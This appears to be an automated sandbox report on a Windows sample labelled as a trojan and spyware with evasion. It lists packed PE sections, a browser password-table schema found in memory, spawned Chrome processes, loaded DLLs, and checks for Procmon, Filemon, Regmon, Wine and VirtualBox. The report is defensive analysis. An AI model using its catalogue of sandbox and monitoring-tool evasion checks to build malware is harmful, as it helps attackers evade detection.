Source: file.exe, 00000000.00000003.1579962903.0000000005C7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574196802.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574828958.0000000005B46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571339163.0000000005CDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578785033.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571973013.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568871476.0000000005BE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569250918.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1678088995.0000000000F60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579226347.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576965844.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567725943.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572612719.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571828816.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579667380.0000000005C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573430412.0000000005B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577692181.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568252465.00000000057A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578212223.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572934506.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568389629.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570528516.0000000005B46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1580684167.0000000005B46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579816910.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582058635.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568954036.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571665339.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576410448.0000000005D4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581448343.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576837017.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1580523691.0000000005C90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582264800.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570766491.0000000005C0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608807253.0000000000F6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570269883.0000000005B45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568512671.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573984262.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567934530.0000000005B45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575476022.0000000005C37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582618626.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573583241.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578639721.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608316563.000000000575F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572187006.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1683009585.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579518316.0000000005B4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578496520.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577103305.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576700611.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578057832.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569352666.0000000005B47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569646104.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576232635.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1580310888.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570953662.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567829113.00000000057A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1682444677.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581245222.0000000005B4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574430533.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569766140.0000000005BFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608693546.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572482286.0000000005C13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569062762.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577893709.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581658770.0000000005B47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579371691.0000000005C79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1681686094.00000000056AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576082241.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578933734.0000000005C64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1576556158.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569522479.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570395249.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568139777.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566474097.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575815294.0000000005B45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1570002436.0000000005C00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566307525.0000000005942000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1580122081.0000000005DBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1579080560.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575145112.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571514559.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1567606874.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608355370.00000000056D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574330463.0000000005B4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9973442656765676
Source: file.exe	Static PE information: Section: fpcukdxy ZLIB complexity 0.9940754610498929

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1362017827.00000000056D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1385413160.00000000056CE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,16693149984039008949,18427732997764737227,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1928,i,15905540884992955177,16070851734019653976,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,16693149984039008949,18427732997764737227,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1928,i,15905540884992955177,16070851734019653976,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1842688 > 1048576

Source: file.exe

Static PE information: Raw size of fpcukdxy is bigger than: 0x100000 < 0x198600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.140000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fpcukdxy:EW;qisnsufv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fpcukdxy:EW;qisnsufv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c7e56 should be: 0x1c386a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fpcukdxy
Source: file.exe	Static PE information: section name: qisnsufv
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_00F7CDA1 push edx; iretd

0_3_00F7CDA2

Source: file.exe	Static PE information: section name: entropy: 7.973721758496147
Source: file.exe	Static PE information: section name: fpcukdxy entropy: 7.954084488701993

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
